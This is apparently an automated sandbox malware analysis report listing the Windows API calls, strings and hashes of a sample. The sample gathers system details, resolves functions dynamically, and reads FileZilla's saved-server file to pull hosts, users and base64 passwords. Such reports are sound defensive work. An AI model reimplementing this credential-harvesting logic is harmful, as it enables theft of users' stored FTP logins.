HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,016603D8,00000000,?,00300E10,00000000,?,00000000,00000000,?), ref: 002F7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,016603D8,00000000,?,00300E10,00000000,?,00000000,00000000,?), ref: 002F7A7D
wsprintfA.USER32 ref: 002F7AB7

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: e94a9c6dc2af06aa5595650546d1b31fad29e5688d68f53a02ce375787c89349
Instruction ID: 7d8a5f7a03bb02577dbbd190f4ccebc181e95f7b4feb310fcf8fb247c834a116
Opcode Fuzzy Hash: e94a9c6dc2af06aa5595650546d1b31fad29e5688d68f53a02ce375787c89349
Instruction Fuzzy Hash: 21118EB1A45218EBEB208F54DC49FA9B778FB05761F1043AAEA1A932C0D7741A45CF51

Function 002F7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,002E11B7), ref: 002F7880
HeapAlloc.KERNEL32(00000000,?,?,?,002E11B7), ref: 002F7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 002F789F

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: cd4b4e4322c9a217f1b070b3910d457515ed1538d9790e71df0fafaccb2f83af
Instruction ID: 7c649b083328a943a0a0c7b1156290c183245534b7b2ef2c7d52537bc06db7a7
Opcode Fuzzy Hash: cd4b4e4322c9a217f1b070b3910d457515ed1538d9790e71df0fafaccb2f83af
Instruction Fuzzy Hash: 62F04FB1944208ABC714DF98DD49FAEFBB8EB05751F10066AFA05A2680C77415058BA1

Function 002E1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,002F6A17,00300AEF), ref: 002E116A
ExitProcess.KERNEL32 ref: 002E117E

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: b69bd3d45ab25c778ffc277f9c84f478c9bf042c664a1394368afc67190319b6
Instruction ID: c5f4ae9c91402c89bf47084959eff6e30c0100c76911368827bd8e08a5f37c75
Opcode Fuzzy Hash: b69bd3d45ab25c778ffc277f9c84f478c9bf042c664a1394368afc67190319b6
Instruction Fuzzy Hash: 37D05E7490030CDBCB10DFE0DC496EDBB78FB19311F040554D90562340EA305496CAAA

Function 002E7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,002F61C4,?), ref: 002E7724
RtlAllocateHeap.NTDLL(00000000,?,002F61C4,?), ref: 002E772B
lstrcatA.KERNEL32(?,0165CDE0,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8), ref: 002E78DB
lstrcatA.KERNEL32(?,?,?,002F61C4,?), ref: 002E78EF
lstrcatA.KERNEL32(?,?,?,002F61C4,?), ref: 002E7903
lstrcatA.KERNEL32(?,?,?,002F61C4,?), ref: 002E7917
lstrcatA.KERNEL32(?,0165FDA8,?,002F61C4,?), ref: 002E792B
lstrcatA.KERNEL32(?,0165FE80,?,002F61C4,?), ref: 002E793F
lstrcatA.KERNEL32(?,0165FE98,?,002F61C4,?), ref: 002E7952
lstrcatA.KERNEL32(?,0165FDC0,?,002F61C4,?), ref: 002E7966
lstrcatA.KERNEL32(?,0165CE68,?,002F61C4,?), ref: 002E797A
lstrcatA.KERNEL32(?,?,?,002F61C4,?), ref: 002E798E
lstrcatA.KERNEL32(?,?,?,002F61C4,?), ref: 002E79A2
lstrcatA.KERNEL32(?,?,?,002F61C4,?), ref: 002E79B6
lstrcatA.KERNEL32(?,0165FDA8,?,002F61C4,?), ref: 002E79C9
lstrcatA.KERNEL32(?,0165FE80,?,002F61C4,?), ref: 002E79DD
lstrcatA.KERNEL32(?,0165FE98,?,002F61C4,?), ref: 002E79F1
lstrcatA.KERNEL32(?,0165FDC0,?,002F61C4,?), ref: 002E7A04
lstrcatA.KERNEL32(?,016610B0,?,002F61C4,?), ref: 002E7A18
lstrcatA.KERNEL32(?,?,?,002F61C4,?), ref: 002E7A2C
lstrcatA.KERNEL32(?,?,?,002F61C4,?), ref: 002E7A40
lstrcatA.KERNEL32(?,?,?,002F61C4,?), ref: 002E7A54
lstrcatA.KERNEL32(?,0165FDA8,?,002F61C4,?), ref: 002E7A68
lstrcatA.KERNEL32(?,0165FE80,?,002F61C4,?), ref: 002E7A7B
lstrcatA.KERNEL32(?,0165FE98,?,002F61C4,?), ref: 002E7A8F
lstrcatA.KERNEL32(?,0165FDC0,?,002F61C4,?), ref: 002E7AA3
lstrcatA.KERNEL32(?,01661118,?,002F61C4,?), ref: 002E7AB6
lstrcatA.KERNEL32(?,?,?,002F61C4,?), ref: 002E7ACA
lstrcatA.KERNEL32(?,?,?,002F61C4,?), ref: 002E7ADE
lstrcatA.KERNEL32(?,?,?,002F61C4,?), ref: 002E7AF2
lstrcatA.KERNEL32(?,0165FDA8,?,002F61C4,?), ref: 002E7B06
lstrcatA.KERNEL32(?,0165FE80,?,002F61C4,?), ref: 002E7B1A
lstrcatA.KERNEL32(?,0165FE98,?,002F61C4,?), ref: 002E7B2D
lstrcatA.KERNEL32(?,0165FDC0,?,002F61C4,?), ref: 002E7B41
lstrcatA.KERNEL32(?,01661180,?,002F61C4,?), ref: 002E7B55
lstrcatA.KERNEL32(?,?,?,002F61C4,?), ref: 002E7B69
lstrcatA.KERNEL32(?,?,?,002F61C4,?), ref: 002E7B7D
lstrcatA.KERNEL32(?,?,?,002F61C4,?), ref: 002E7B91
lstrcatA.KERNEL32(?,0165FDA8,?,002F61C4,?), ref: 002E7BA4
lstrcatA.KERNEL32(?,0165FE80,?,002F61C4,?), ref: 002E7BB8
lstrcatA.KERNEL32(?,0165FE98,?,002F61C4,?), ref: 002E7BCC
lstrcatA.KERNEL32(?,0165FDC0,?,002F61C4,?), ref: 002E7BDF
lstrcatA.KERNEL32(?,016611E8,?,002F61C4,?), ref: 002E7BF3
lstrcatA.KERNEL32(?,?,?,002F61C4,?), ref: 002E7C07
lstrcatA.KERNEL32(?,?,?,002F61C4,?), ref: 002E7C1B
lstrcatA.KERNEL32(?,?,?,002F61C4,?), ref: 002E7C2F
lstrcatA.KERNEL32(?,0165FDA8,?,002F61C4,?), ref: 002E7C43
lstrcatA.KERNEL32(?,0165FE80,?,002F61C4,?), ref: 002E7C56
lstrcatA.KERNEL32(?,0165FE98,?,002F61C4,?), ref: 002E7C6A
lstrcatA.KERNEL32(?,0165FDC0,?,002F61C4,?), ref: 002E7C7E

Part of subcall function 002E75D0: lstrcatA.KERNEL32(341FA020,003017FC,002E7C90,80000001,002F61C4,?,?,?,?,?,002E7C90,?,?,002F61C4), ref: 002E7606
Part of subcall function 002E75D0: lstrcatA.KERNEL32(341FA020,00000000,00000000), ref: 002E7648
Part of subcall function 002E75D0: lstrcatA.KERNEL32(341FA020, : ), ref: 002E765A
Part of subcall function 002E75D0: lstrcatA.KERNEL32(341FA020,00000000,00000000,00000000), ref: 002E768F
Part of subcall function 002E75D0: lstrcatA.KERNEL32(341FA020,00301804), ref: 002E76A0
Part of subcall function 002E75D0: lstrcatA.KERNEL32(341FA020,00000000,00000000,00000000), ref: 002E76D3
Part of subcall function 002E75D0: lstrcatA.KERNEL32(341FA020,00301808), ref: 002E76ED
Part of subcall function 002E75D0: task.LIBCPMTD ref: 002E76FB

lstrcatA.KERNEL32(?,0165D4C0,?,00000104), ref: 002E7E0B
lstrcatA.KERNEL32(?,01660B78), ref: 002E7E1E
lstrlenA.KERNEL32(341FA020), ref: 002E7E2B
lstrlenA.KERNEL32(341FA020), ref: 002E7E3B

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 09155b4f67bc195cc8abb905bde242e10e499f7d9c9e523d3eed7a3ea4c10647
Instruction ID: 24f52739915ac0cf5cf4da68443014f1d17b7eae187027b238f28031af00d461
Opcode Fuzzy Hash: 09155b4f67bc195cc8abb905bde242e10e499f7d9c9e523d3eed7a3ea4c10647
Instruction Fuzzy Hash: 3D3220B6C10318ABCB25EBA0DC85DEAB37CBB55700F444A98F30962180DE74E79ADF51

Function 002F0250 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002F8DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 002F8E0B

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002E99EC
Part of subcall function 002E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 002E9A11
Part of subcall function 002E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 002E9A31
Part of subcall function 002E99C0: ReadFile.KERNEL32(000000FF,?,00000000,002F02E7,00000000), ref: 002E9A5A
Part of subcall function 002E99C0: LocalFree.KERNEL32(002F02E7), ref: 002E9A90
Part of subcall function 002E99C0: CloseHandle.KERNEL32(000000FF), ref: 002E9A9A

Part of subcall function 002F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 002F8E52

strtok_s.MSVCRT ref: 002F031B
GetProcessHeap.KERNEL32(00000000,000F423F,00300DBA,00300DB7,00300DB6,00300DB3), ref: 002F0362
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00300DB2), ref: 002F0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 002F0385
lstrlenA.KERNEL32(00000000), ref: 002F0393

Part of subcall function 002F88E0: malloc.MSVCRT ref: 002F88E8
Part of subcall function 002F88E0: strncpy.MSVCRT ref: 002F8903

StrStrA.SHLWAPI(00000000,<Port>), ref: 002F03CF
lstrlenA.KERNEL32(00000000), ref: 002F03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 002F0419
lstrlenA.KERNEL32(00000000), ref: 002F0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 002F0463
lstrlenA.KERNEL32(00000000), ref: 002F0475
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00300DB2), ref: 002F0502
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 002F051A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 002F0532
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 002F054A
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 002F0562
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 002F0571
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 002F0580
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 002F0593
lstrcatA.KERNEL32(?,00301678,?,?,00000000), ref: 002F05A2
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 002F05B5
lstrcatA.KERNEL32(?,0030167C,?,?,00000000), ref: 002F05C4
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 002F05D3
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 002F05E6
lstrcatA.KERNEL32(?,00301688,?,?,00000000), ref: 002F05F5
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 002F0604
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 002F0617
lstrcatA.KERNEL32(?,00301698,?,?,00000000), ref: 002F0626
lstrcatA.KERNEL32(?,0030169C,?,?,00000000), ref: 002F0635
strtok_s.MSVCRT ref: 002F0679
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00300DB2), ref: 002F068E
memset.MSVCRT ref: 002F06DD

Strings

profile: null, xrefs: 002F0568
<Port>, xrefs: 002F03C6
password: , xrefs: 002F05FB
url: , xrefs: 002F0577
<Pass encoding="base64">, xrefs: 002F045A
<User>, xrefs: 002F0410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 002F02A4
<Host>, xrefs: 002F037C
N/, xrefs: 002F02CC, 002F02F2, 002F02CF, 002F02F5
browser: FileZilla, xrefs: 002F0559
N/, xrefs: 002F072E, 002F06AF, 002F06B2
login: , xrefs: 002F05CA

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$N/$N/$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-3087138421
Opcode ID: dd46e5bd66c7636e176a803f827c985e0d342d5df88d392152d8db2ce48df959
Instruction ID: 116d1499243e82b32c5497ecb98346823e84d726bc24a4b6223e08b8af1a520d
Opcode Fuzzy Hash: dd46e5bd66c7636e176a803f827c985e0d342d5df88d392152d8db2ce48df959
Instruction Fuzzy Hash: 9AD142B191010CABCB04EBE0DD96EFEB378EF14780F444528F606B6095DE74AA1ADF61

Function 002F9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01652D10), ref: 002F98A1
GetProcAddress.KERNEL32(75900000,01652B30), ref: 002F98BA
GetProcAddress.KERNEL32(75900000,01652D28), ref: 002F98D2
GetProcAddress.KERNEL32(75900000,01652C68), ref: 002F98EA
GetProcAddress.KERNEL32(75900000,01652D40), ref: 002F9903
GetProcAddress.KERNEL32(75900000,01650380), ref: 002F991B
GetProcAddress.KERNEL32(75900000,0164ADA0), ref: 002F9933
GetProcAddress.KERNEL32(75900000,0164AC60), ref: 002F994C
GetProcAddress.KERNEL32(75900000,01652D70), ref: 002F9964
GetProcAddress.KERNEL32(75900000,01652B48), ref: 002F997C
GetProcAddress.KERNEL32(75900000,01652C20), ref: 002F9995
GetProcAddress.KERNEL32(75900000,01652D88), ref: 002F99AD
GetProcAddress.KERNEL32(75900000,0164ACC0), ref: 002F99C5
GetProcAddress.KERNEL32(75900000,01652AE8), ref: 002F99DE
GetProcAddress.KERNEL32(75900000,01652E18), ref: 002F99F6
GetProcAddress.KERNEL32(75900000,0164AEE0), ref: 002F9A0E
GetProcAddress.KERNEL32(75900000,01652E48), ref: 002F9A27
GetProcAddress.KERNEL32(75900000,01652E30), ref: 002F9A3F
GetProcAddress.KERNEL32(75900000,0164ACE0), ref: 002F9A57
GetProcAddress.KERNEL32(75900000,01652DB8), ref: 002F9A70
GetProcAddress.KERNEL32(75900000,0164AD00), ref: 002F9A88
LoadLibraryA.KERNEL32(01652DD0,?,002F6A00), ref: 002F9A9A
LoadLibraryA.KERNEL32(01652E60,?,002F6A00), ref: 002F9AAB
LoadLibraryA.KERNEL32(01652E78,?,002F6A00), ref: 002F9ABD
LoadLibraryA.KERNEL32(01652DE8,?,002F6A00), ref: 002F9ACF
LoadLibraryA.KERNEL32(01652E00,?,002F6A00), ref: 002F9AE0
GetProcAddress.KERNEL32(75070000,01653B70), ref: 002F9B02
GetProcAddress.KERNEL32(75FD0000,01653AF8), ref: 002F9B23
GetProcAddress.KERNEL32(75FD0000,01653DB0), ref: 002F9B3B
GetProcAddress.KERNEL32(75A50000,01653B10), ref: 002F9B5D
GetProcAddress.KERNEL32(74E50000,0164AD60), ref: 002F9B7E
GetProcAddress.KERNEL32(76E80000,01650390), ref: 002F9B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 002F9BB6

Strings

NtQueryInformationProcess, xrefs: 002F9BAA

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
